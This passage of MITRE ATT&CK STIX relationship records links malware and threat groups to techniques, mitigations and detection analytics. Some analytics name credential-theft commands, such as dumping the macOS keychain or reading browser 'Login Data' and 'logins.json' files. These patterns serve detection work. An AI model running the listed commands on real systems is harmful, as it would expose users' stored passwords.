necessary within a given environment.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ec3991a-6aa1-422a-a0de-560ca7d143a3","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T14:13:30.350Z","description":"Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).\n\nAnalytic 1 - Unauthorized process access indicating credential searches in web browsers.\n\nindex=security sourcetype IN (\"WinEventLog:Microsoft-Windows-Sysmon/Operational\", \"linux_secure\", \"macos_secure\") event_type=\"process\"\n(CommandLine IN (\"*sqlite3* *logins*\", \"*sqlcipher* *logins*\", \"*db-browser* *Login Data*\", \"*db-browser* *logins.json*\", \"*CryptUnprotectData*\", \"*security find-internet-password*\", \"*security dump-keychain*\", \"*strings* *Login Data*\", \"*cat* *Login Data*\", \"*cat* *logins.json*\", \"*sqlite3* *signons.sqlite*\")) ","relationship_type":"detects","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ec3f511-0684-4e13-90a0-d8d93a7279b0","created":"2024-03-05T19:39:33.010Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-05T19:39:33.010Z","description":"[WARPWIRE](https://attack.mitre.org/software/S1116) can embed itself into a legitimate file on compromised Ivanti Connect Secure VPNs.(Citation: Mandiant Cutting Edge January 2024)","relationship_type":"uses","source_ref":"malware--a5818d36-e9b0-46da-842d-b727a5e36ea6","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ec53623-4050-498b-ba9e-f149d203036c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Emissary Trojan Feb 2016","description":"Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"}],"modified":"2021-08-27T14:42:00.458Z","description":"[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute the command ipconfig /all.(Citation: Emissary Trojan Feb 2016)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ec9706f-7faa-466d-afd0-97cc71714f7b","type":"relationship","created":"2019-01-30T17:48:35.674Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"modified":"2021-06-16T15:50:05.264Z","description":"[zwShell](https://attack.mitre.org/software/S0350) has been copied over network shares to move laterally.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ecf4ac9-faad-4d2d-9a01-2618a7a54806","type":"relationship","created":"2020-06-19T20:04:12.131Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-19T20:04:12.131Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has deployed tools after moving laterally using administrative accounts.(Citation: Cybereason Cobalt Kitty 2017)\t","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ed17f60-d6ca-4ef7-ae52-7a573c2a7ff3","type":"relationship","created":"2020-09-30T14:13:38.320Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:13:38.320Z","description":"[SoreFang](https://attack.mitre.org/software/S0516) can enumerate processes on a victim machine through use of [Tasklist](https://attack.mitre.org/software/S0057).(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ee44004-6aaa-4b22-934d-4f4ef82cbbd4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Regin","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}],"modified":"2020-06-29T01:54:53.350Z","description":"The [Regin](https://attack.mitre.org/software/S0019) malware platform uses Extended Attributes to store encrypted executables.(Citation: Kaspersky Regin)","relationship_type":"uses","source_ref":"malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ee6640f-978b-4402-a6a7-c74e7c8e1c4b","created":"2024-06-11T17:23:36.470Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne INC Ransomware","description":"SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.","url":"https://www.sentinelone.com/anthology/inc-ransom/"},{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T18:56:26.322Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has used phishing to gain initial access.(Citation: SOCRadar INC Ransom January 2024)(Citation: SentinelOne INC Ransomware)\n","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ee7faf3-45f6-451f-b966-d0f3ea9e9cca","created":"2023-04-11T00:25:14.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Slack Help Center Access Logs","description":"Slack Help Center. (n.d.). View Access Logs for your workspace. Retrieved April 10, 2023.","url":"https://slack.com/help/articles/360002084807-View-Access-Logs-for-your-workspace"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:27:11.155Z","description":"Monitor application logs for activity that may highlight malicious attempts to access application data, especially abnormal search activity targeting passwords and other artifacts related to credentials.(Citation: Slack Help Center Access Logs)\n\nAnalytic 1 - Abnormal search activity targeting passwords and other credential artifacts.\n\n (index=third_party sourcetype IN (\"mailserver_logs\", \"webapp_logs\", \"appliance_logs\") (\"search\" OR \"query\" OR \"find\" OR \"grep\") (\"password\" OR \"credential\" OR \"key\" OR \"secret\" OR \"token\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1eeb08cb-8b06-45a7-bf74-fb8bdaa4b02f","type":"relationship","created":"2019-01-31T01:07:58.592Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-24T03:16:06.453Z","description":"[APT32](https://attack.mitre.org/groups/G0050) used NTFS alternate data streams to hide their payloads.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ef0015d-f4ab-49fe-a5b2-89e601ea5cfa","type":"relationship","created":"2020-12-03T20:21:23.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}],"modified":"2020-12-03T20:21:23.754Z","description":"[Carbon](https://attack.mitre.org/software/S0335) can use Pastebin to receive C2 commands.(Citation: Accenture HyperStack October 2020)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ef7da45-bf8c-4483-865e-2a1d58f57bb0","created":"2024-07-25T20:45:28.974Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:45:28.974Z","description":"[MgBot](https://attack.mitre.org/software/S1146) includes modules for dumping and capturing credentials from process memory.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1efab13f-4fcd-411d-a19c-e6d982d5a4c3","created":"2024-02-15T13:42:46.605Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-15T13:42:46.605Z","description":"Monitor for suspicious uses of the docker or podman command, such as attempts to mount the root filesystem of the host. ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--b0e54bf7-835e-4f44-bd8e-62f431b9b76a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1efc9685-b2ab-46fb-91a9-a305d6c1f335","type":"relationship","created":"2019-01-29T20:05:36.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DigiTrust NanoCore Jan 2017","url":"https://www.digitrustgroup.com/nanocore-not-your-average-rat/","description":"The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."},{"source_name":"PaloAlto NanoCore Feb 2016","url":"https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/","description":"Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."}],"modified":"2019-04-17T20:47:23.969Z","description":"[NanoCore](https://attack.mitre.org/software/S0336) can access the victim's webcam and capture data.(Citation: DigiTrust NanoCore Jan 2017)(Citation: PaloAlto NanoCore Feb 2016)","relationship_type":"uses","source_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1f026982-e045-4a63-b0ec-a075d81e1c32","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:35:18.188Z","description":"Monitor for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. \n\nA remote desktop logon, through [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001), may be typical of a system administrator or IT support, but only from select workstations. Monitoring remote desktop logons and comparing to known/approved originating systems can detect lateral movement of an adversary.\n\nMultiple users logged into a single machine at the same time, or even within the same hour, do not typically occur in networks we have observed.\nLogon events are Windows Event Code 4624 for Windows Vista and above, 518 for pre-Vista. Logoff events are 4634 for Windows Vista and above, 538 for pre-Vista. Logon types 2, 3, 9 and 10 are of interest. For more details see the Logon Types table on Microsoft’s Audit Logon Events page.\n\nAnalytic 1 - Remote Desktop Logon\n\n(source=\"*WinEventLog:Security\" EventCode=\"4624\") AuthenticationPackageName= \"Negotiate\" AND Severity= \"Information\" AND logon_type= \"10\"\n","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1f02b84e-b79e-402f-b1c1-3f5b5c8bc8c6","created":"2024-05-15T20:16:48.228Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:16:48.228Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has created and accessed a file named rult3uil.log on compromised domain controllers to capture keypresses and command execution.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f066ba6-31e2-48d1-a7ac-27a20879287b","type":"relationship","created":"2021-03-08T14:20:25.713Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-04-26T15:52:00.636Z","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) has used FileReadZipSend to compress a file and send to C2.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f06f614-8f5a-4666-9fa5-fcda1535f97d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-17T20:31:44.965Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has deleted files and directories including XML and files successfully uploaded to C2 servers.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1f07783f-cc60-4464-a0b2-154308d799c2","created":"2022-09-29T20:35:13.064Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T20:35:13.064Z","description":"(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1f0832ca-30f2-4f5a-8e92-1d15222fc087","created":"2019-01-29T21:27:25.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.986Z","description":"(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f1de0ea-581b-4b41-953f-1b8f552f84e7","type":"relationship","created":"2020-03-29T17:17:31.571Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T15:47:46.245Z","description":"Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using using trusted binaries to bypass application control.","relationship_type":"mitigates","source_ref":"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1f1fb0b2-4f02-4458-9b56-2c79ea7798f4","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T14:29:19.231Z","description":"Monitor log files for process execution through command-line and scripting activities. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\n\nAnalytic 1 - Look for unusual command and scripting process creation.\n\n (sourcetype=WinEventLog:Security OR sourcetype=sysmon OR sourcetype=linux_secure OR sourcetype=linux_audit OR sourcetype=mac_os_log OR sourcetype=azure:audit OR sourcetype=o365:audit)\n(EventCode=4688 OR EventID=1 OR _raw=*sh* OR _raw=*python* OR _raw=*powershell* OR _raw=*cmd* OR _raw=*script* OR _raw=*wscript* OR _raw=*bash*)","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1f238bb1-62c0-409b-ac79-38b38f54497d","created":"2022-08-31T16:29:47.088Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has collected the hostname of a compromised machine.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-08-31T16:29:47.088Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f262330-4075-4fce-91b7-c3f0fd7a0739","type":"relationship","created":"2020-10-20T00:08:21.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-20T00:08:21.787Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd","target_ref":"attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f48a517-c041-4845-9aba-2dce4f559b56","type":"relationship","created":"2019-04-10T16:09:07.880Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2020-03-30T01:48:49.727Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used WinRAR to compress data prior to exfil.(Citation: Symantec Elfin Mar 2019)\t\n","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f4fe996-b32f-4cc5-b5d6-dc10a9bebeeb","type":"relationship","created":"2020-02-21T22:16:10.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-20T22:25:55.465Z","description":"Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. 